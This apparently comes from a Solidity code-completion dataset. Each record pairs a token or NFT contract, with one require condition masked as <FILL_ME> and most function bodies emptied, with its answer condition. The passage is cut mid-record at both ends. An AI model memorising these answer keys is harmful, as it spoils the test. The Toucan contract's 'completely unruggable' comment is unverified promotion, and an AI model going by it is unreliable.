function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployCore(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract TheSource is ERC20Token {
constructor() ERC20Token("The Source", "CORE", msg.sender, 70000 * 10 ** 18) {
}
}
| (trading||(sender==addr01u8j2nfkn2foufiqu9m)),"ERC20: trading is not yet enabled." | 437,277 | (trading||(sender==addr01u8j2nfkn2foufiqu9m)) |
"Trading is not started yet" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract PetaMerse is ERC20, Ownable {
mapping (address => bool) private _isExcludedFromFees;
uint256 public buyFee = 10;
uint256 public sellFee = 10;
address public reservesWallet = 0xDE851E928EA7aC89e52F1B168bfbA970ba3dA2BC;
address public uniswapV2Pair;
bool public tradingStarted;
event ExcludeFromFees(address indexed account, bool isExcluded);
event FeesUpdated(uint256 buyFee, uint256 sellFee);
event ReservesWalletChanged(address reservesWallet);
constructor () ERC20("PetaMerse Test", "$PMT")
{
}
receive() external payable {
}
function claimStuckTokens(address token) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) external onlyOwner {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function setBuyFee(uint256 _buyFee) external onlyOwner {
}
function setSellFee(uint256 _sellFee) external onlyOwner {
}
function setReservesWallet(address _reservesWallet) external onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(<FILL_ME>)
if(!tradingStarted && to == uniswapV2Pair) {
tradingStarted = true;
}
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
uint256 fees;
if(from == uniswapV2Pair) {
fees = amount * buyFee / 100;
} else {
fees = amount * sellFee / 100;
}
amount = amount - fees;
if(fees > 0) {
super._transfer(from, reservesWallet, fees);
}
}
super._transfer(from, to, amount);
}
}
| tradingStarted||_isExcludedFromFees[from]||_isExcludedFromFees[to],"Trading is not started yet" | 437,330 | tradingStarted||_isExcludedFromFees[from]||_isExcludedFromFees[to] |
"Exceeds max whitelist mints per wallet" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "contracts/ERC5050.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract TenjinGenesis is ERC5050 {
bool private _revealed = false;
constructor(string memory name_, string memory symbol_) ERC5050(name_, symbol_) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function mintWhitelist(uint256 _amount, bytes32[] memory _proof) external payable nonReentrant {
require(isWhitelistLive, "Whitelist sale not live");
require(_amount > 0, "You must mint at least one");
require(_amount <= maxPerTransaction, "Exceeds max per transaction");
require(totalSupply() + _amount <= maxTotalSupply, "Exceeds total supply");
require(<FILL_ME>)
require(MerkleProof.verify(_proof, merkleTreeRoot, toBytes32(msg.sender)) == true, "Invalid proof");
// 1 guaranteed free per wallet
uint256 pricedAmount = freeMintsAvailable > 0 && mintsPerWallet[_msgSender()] == 0
? _amount - 1
: _amount;
if (pricedAmount < _amount) {
freeMintsAvailable = freeMintsAvailable - 1;
}
require(mintPrice * pricedAmount <= msg.value, "Not enough ETH sent for selected amount");
uint256 refund = chanceFreeMintsAvailable > 0 && pricedAmount > 0 && isFreeMint()
? pricedAmount * mintPrice
: 0;
if (refund > 0) {
chanceFreeMintsAvailable = chanceFreeMintsAvailable - pricedAmount;
}
// sends needed ETH back to minter
payable(_msgSender()).transfer(refund);
mintsPerWallet[_msgSender()] = mintsPerWallet[_msgSender()] + _amount;
_safeMint(_msgSender(), _amount);
}
function reveal(string memory _newBaseURI) external onlyOwner {
}
}
| mintsPerWallet[_msgSender()]<maxPerWallet,"Exceeds max whitelist mints per wallet" | 437,429 | mintsPerWallet[_msgSender()]<maxPerWallet |
"Invalid proof" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "contracts/ERC5050.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract TenjinGenesis is ERC5050 {
bool private _revealed = false;
constructor(string memory name_, string memory symbol_) ERC5050(name_, symbol_) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function mintWhitelist(uint256 _amount, bytes32[] memory _proof) external payable nonReentrant {
require(isWhitelistLive, "Whitelist sale not live");
require(_amount > 0, "You must mint at least one");
require(_amount <= maxPerTransaction, "Exceeds max per transaction");
require(totalSupply() + _amount <= maxTotalSupply, "Exceeds total supply");
require(mintsPerWallet[_msgSender()] < maxPerWallet, "Exceeds max whitelist mints per wallet");
require(<FILL_ME>)
// 1 guaranteed free per wallet
uint256 pricedAmount = freeMintsAvailable > 0 && mintsPerWallet[_msgSender()] == 0
? _amount - 1
: _amount;
if (pricedAmount < _amount) {
freeMintsAvailable = freeMintsAvailable - 1;
}
require(mintPrice * pricedAmount <= msg.value, "Not enough ETH sent for selected amount");
uint256 refund = chanceFreeMintsAvailable > 0 && pricedAmount > 0 && isFreeMint()
? pricedAmount * mintPrice
: 0;
if (refund > 0) {
chanceFreeMintsAvailable = chanceFreeMintsAvailable - pricedAmount;
}
// sends needed ETH back to minter
payable(_msgSender()).transfer(refund);
mintsPerWallet[_msgSender()] = mintsPerWallet[_msgSender()] + _amount;
_safeMint(_msgSender(), _amount);
}
function reveal(string memory _newBaseURI) external onlyOwner {
}
}
| MerkleProof.verify(_proof,merkleTreeRoot,toBytes32(msg.sender))==true,"Invalid proof" | 437,429 | MerkleProof.verify(_proof,merkleTreeRoot,toBytes32(msg.sender))==true |
"sERC20: You have been blacklisted" | // Toucan
// https://t.me/toucanportal
// We implement the sERC20 standard into our token, this makes the contract completely unruggable after liquidity is locked!
// Check their website to find out how: https://www.serc20.com
// SPDX-License-Identifier: MIT
pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0;
pragma experimental ABIEncoderV2;
import "@serc-20/serc/SERC20.sol";
contract Toucan is SERC20 {
using SafeMath for uint256;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public devWallet;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
uint256 public swapTokensAtAmount;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
mapping(address => uint256) private holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedFromMaxTx;
mapping(address => bool) public marketPairs;
event ExcludeFromFees(address indexed addr, bool isExcluded);
event SetMarketPair(address indexed pair, bool indexed value);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
constructor()
SERC20(
"Toucan",
"Tookie Tookie",
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
10,
10
)
{
}
receive() external payable {}
// Emergency function to remove stuck eth from contract
function withdrawStuckEth(uint256 amount) external payable onlyOwner {
}
// Override serc method
function sercSetTradingEnabled() public virtual override onlyOwner {
}
function setMarketPair(address pair, bool value) public onlyOwner {
}
function _setMarketPair(address pair, bool value) private {
}
function excludeFromMaxTx(address addr, bool isExcluded) public onlyOwner {
}
function excludeFromFees(address addr, bool isExcluded) public onlyOwner {
}
function disableTransferDelay() external onlyOwner returns (bool) {
}
function setBuyTax(uint256 buyDevTax, uint256 buyLiqTax)
external
onlyOwner
{
}
function setSellTax(uint256 sellDevTax, uint256 sellLiqTax)
external
onlyOwner
{
}
function updateDevWallet(address newWallet) external onlyOwner {
}
function isExcludedFromFees(address addr) public view returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead)
) {
if (!_sercTradingEnabled()) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(_sercRouter()) &&
to != _sercPair()
) {
require(
holderLastTransferTimestamp[tx.origin] < block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (marketPairs[from] && !_isExcludedFromMaxTx[to]) {
require(<FILL_ME>)
require(amount <= _sercMaxTx(), "Max transaction exceeded.");
require(
amount + balanceOf(to) <= _sercMaxWallet(),
"Max wallet exceeded"
);
}
//when sell
else if (marketPairs[to] && !_isExcludedFromMaxTx[from]) {
require(
!_sercIsBlacklisted(from),
"sERC20: You have been blacklisted"
);
require(amount <= _sercMaxTx(), "Max transaction exceeded.");
} else if (!_isExcludedFromMaxTx[to]) {
require(
!_sercIsBlacklisted(to) && !_sercIsBlacklisted(from),
"sERC20: You have been blacklisted"
);
require(
amount + balanceOf(to) <= _sercMaxWallet(),
"Max wallet exceeded"
);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
!swapping &&
!marketPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
marketPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// on sell
uint256[] memory sellTaxes = _sercSellTax();
uint256 sellTotalFees = _sercSellTotalTax();
uint256[] memory buyTaxes = _sercBuyTax();
uint256 buyTotalFees = _sercBuyTotalTax();
if (marketPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellTaxes[1]) / sellTotalFees;
tokensForDev += (fees * sellTaxes[0]) / sellTotalFees;
}
// on buy
else if (marketPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyTaxes[1]) / buyTotalFees;
tokensForDev += (fees * buyTaxes[0]) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
bool _Enabled
) external onlyOwner {
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
}
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
}
}
| !_sercIsBlacklisted(to),"sERC20: You have been blacklisted" | 437,560 | !_sercIsBlacklisted(to) |
"Max wallet exceeded" | // Toucan
// https://t.me/toucanportal
// We implement the sERC20 standard into our token, this makes the contract completely unruggable after liquidity is locked!
// Check their website to find out how: https://www.serc20.com
// SPDX-License-Identifier: MIT
pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0;
pragma experimental ABIEncoderV2;
import "@serc-20/serc/SERC20.sol";
contract Toucan is SERC20 {
using SafeMath for uint256;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public devWallet;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
uint256 public swapTokensAtAmount;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
mapping(address => uint256) private holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedFromMaxTx;
mapping(address => bool) public marketPairs;
event ExcludeFromFees(address indexed addr, bool isExcluded);
event SetMarketPair(address indexed pair, bool indexed value);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
constructor()
SERC20(
"Toucan",
"Tookie Tookie",
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
10,
10
)
{
}
receive() external payable {}
// Emergency function to remove stuck eth from contract
function withdrawStuckEth(uint256 amount) external payable onlyOwner {
}
// Override serc method
function sercSetTradingEnabled() public virtual override onlyOwner {
}
function setMarketPair(address pair, bool value) public onlyOwner {
}
function _setMarketPair(address pair, bool value) private {
}
function excludeFromMaxTx(address addr, bool isExcluded) public onlyOwner {
}
function excludeFromFees(address addr, bool isExcluded) public onlyOwner {
}
function disableTransferDelay() external onlyOwner returns (bool) {
}
function setBuyTax(uint256 buyDevTax, uint256 buyLiqTax)
external
onlyOwner
{
}
function setSellTax(uint256 sellDevTax, uint256 sellLiqTax)
external
onlyOwner
{
}
function updateDevWallet(address newWallet) external onlyOwner {
}
function isExcludedFromFees(address addr) public view returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead)
) {
if (!_sercTradingEnabled()) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(_sercRouter()) &&
to != _sercPair()
) {
require(
holderLastTransferTimestamp[tx.origin] < block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (marketPairs[from] && !_isExcludedFromMaxTx[to]) {
require(
!_sercIsBlacklisted(to),
"sERC20: You have been blacklisted"
);
require(amount <= _sercMaxTx(), "Max transaction exceeded.");
require(<FILL_ME>)
}
//when sell
else if (marketPairs[to] && !_isExcludedFromMaxTx[from]) {
require(
!_sercIsBlacklisted(from),
"sERC20: You have been blacklisted"
);
require(amount <= _sercMaxTx(), "Max transaction exceeded.");
} else if (!_isExcludedFromMaxTx[to]) {
require(
!_sercIsBlacklisted(to) && !_sercIsBlacklisted(from),
"sERC20: You have been blacklisted"
);
require(
amount + balanceOf(to) <= _sercMaxWallet(),
"Max wallet exceeded"
);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
!swapping &&
!marketPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
marketPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// on sell
uint256[] memory sellTaxes = _sercSellTax();
uint256 sellTotalFees = _sercSellTotalTax();
uint256[] memory buyTaxes = _sercBuyTax();
uint256 buyTotalFees = _sercBuyTotalTax();
if (marketPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellTaxes[1]) / sellTotalFees;
tokensForDev += (fees * sellTaxes[0]) / sellTotalFees;
}
// on buy
else if (marketPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyTaxes[1]) / buyTotalFees;
tokensForDev += (fees * buyTaxes[0]) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
bool _Enabled
) external onlyOwner {
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
}
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
}
}
| amount+balanceOf(to)<=_sercMaxWallet(),"Max wallet exceeded" | 437,560 | amount+balanceOf(to)<=_sercMaxWallet() |
"sERC20: You have been blacklisted" | // Toucan
// https://t.me/toucanportal
// We implement the sERC20 standard into our token, this makes the contract completely unruggable after liquidity is locked!
// Check their website to find out how: https://www.serc20.com
// SPDX-License-Identifier: MIT
pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0;
pragma experimental ABIEncoderV2;
import "@serc-20/serc/SERC20.sol";
contract Toucan is SERC20 {
using SafeMath for uint256;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public devWallet;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
uint256 public swapTokensAtAmount;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
mapping(address => uint256) private holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedFromMaxTx;
mapping(address => bool) public marketPairs;
event ExcludeFromFees(address indexed addr, bool isExcluded);
event SetMarketPair(address indexed pair, bool indexed value);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
constructor()
SERC20(
"Toucan",
"Tookie Tookie",
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
10,
10
)
{
}
receive() external payable {}
// Emergency function to remove stuck eth from contract
function withdrawStuckEth(uint256 amount) external payable onlyOwner {
}
// Override serc method
function sercSetTradingEnabled() public virtual override onlyOwner {
}
function setMarketPair(address pair, bool value) public onlyOwner {
}
function _setMarketPair(address pair, bool value) private {
}
function excludeFromMaxTx(address addr, bool isExcluded) public onlyOwner {
}
function excludeFromFees(address addr, bool isExcluded) public onlyOwner {
}
function disableTransferDelay() external onlyOwner returns (bool) {
}
function setBuyTax(uint256 buyDevTax, uint256 buyLiqTax)
external
onlyOwner
{
}
function setSellTax(uint256 sellDevTax, uint256 sellLiqTax)
external
onlyOwner
{
}
function updateDevWallet(address newWallet) external onlyOwner {
}
function isExcludedFromFees(address addr) public view returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead)
) {
if (!_sercTradingEnabled()) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(_sercRouter()) &&
to != _sercPair()
) {
require(
holderLastTransferTimestamp[tx.origin] < block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (marketPairs[from] && !_isExcludedFromMaxTx[to]) {
require(
!_sercIsBlacklisted(to),
"sERC20: You have been blacklisted"
);
require(amount <= _sercMaxTx(), "Max transaction exceeded.");
require(
amount + balanceOf(to) <= _sercMaxWallet(),
"Max wallet exceeded"
);
}
//when sell
else if (marketPairs[to] && !_isExcludedFromMaxTx[from]) {
require(<FILL_ME>)
require(amount <= _sercMaxTx(), "Max transaction exceeded.");
} else if (!_isExcludedFromMaxTx[to]) {
require(
!_sercIsBlacklisted(to) && !_sercIsBlacklisted(from),
"sERC20: You have been blacklisted"
);
require(
amount + balanceOf(to) <= _sercMaxWallet(),
"Max wallet exceeded"
);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
!swapping &&
!marketPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
marketPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// on sell
uint256[] memory sellTaxes = _sercSellTax();
uint256 sellTotalFees = _sercSellTotalTax();
uint256[] memory buyTaxes = _sercBuyTax();
uint256 buyTotalFees = _sercBuyTotalTax();
if (marketPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellTaxes[1]) / sellTotalFees;
tokensForDev += (fees * sellTaxes[0]) / sellTotalFees;
}
// on buy
else if (marketPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyTaxes[1]) / buyTotalFees;
tokensForDev += (fees * buyTaxes[0]) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
